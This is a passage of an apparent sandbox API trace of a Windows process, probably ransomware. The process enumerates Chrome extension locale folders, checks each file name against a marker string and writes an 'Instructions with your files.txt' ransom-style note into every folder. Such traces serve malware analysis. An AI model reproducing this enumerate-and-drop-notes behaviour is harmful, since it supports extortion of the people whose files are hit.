[0129.515] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.515] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned 141
[0129.515] GetProcessHeap () returned 0x810000
[0129.515] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.515] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*") returned 143
[0129.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.516] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\.") returned 143
[0129.516] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.516] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\..") returned 144
[0129.516] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.516] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 155
[0129.516] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.516] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.517] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\Instructions with your files.txt") returned 174
[0129.517] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.517] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.518] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.518] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.518] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.518] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.518] CloseHandle (hObject=0x134) returned 1
[0129.518] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.518] GetProcessHeap () returned 0x810000
[0129.518] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.518] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.518] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned 141
[0129.518] GetProcessHeap () returned 0x810000
[0129.518] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.518] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*") returned 143
[0129.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.519] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\.") returned 143
[0129.519] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.519] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\..") returned 144
[0129.519] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.519] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 155
[0129.519] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.519] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.519] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\Instructions with your files.txt") returned 174
[0129.519] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.519] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.523] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.524] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.524] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.524] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.524] CloseHandle (hObject=0x134) returned 1
[0129.524] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.524] GetProcessHeap () returned 0x810000
[0129.524] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.524] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.524] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned 141
[0129.524] GetProcessHeap () returned 0x810000
[0129.524] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.524] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*") returned 143
[0129.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.525] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\.") returned 143
[0129.525] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.525] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\..") returned 144
[0129.525] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.525] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 155
[0129.525] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.525] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.525] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\Instructions with your files.txt") returned 174
[0129.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.526] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.527] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.527] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.527] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.527] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.527] CloseHandle (hObject=0x134) returned 1
[0129.527] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.527] GetProcessHeap () returned 0x810000
[0129.527] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.527] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.527] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned 141
[0129.527] GetProcessHeap () returned 0x810000
[0129.527] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.527] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*") returned 143
[0129.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.528] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\.") returned 143
[0129.528] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.528] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\..") returned 144
[0129.528] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.528] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 155
[0129.528] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
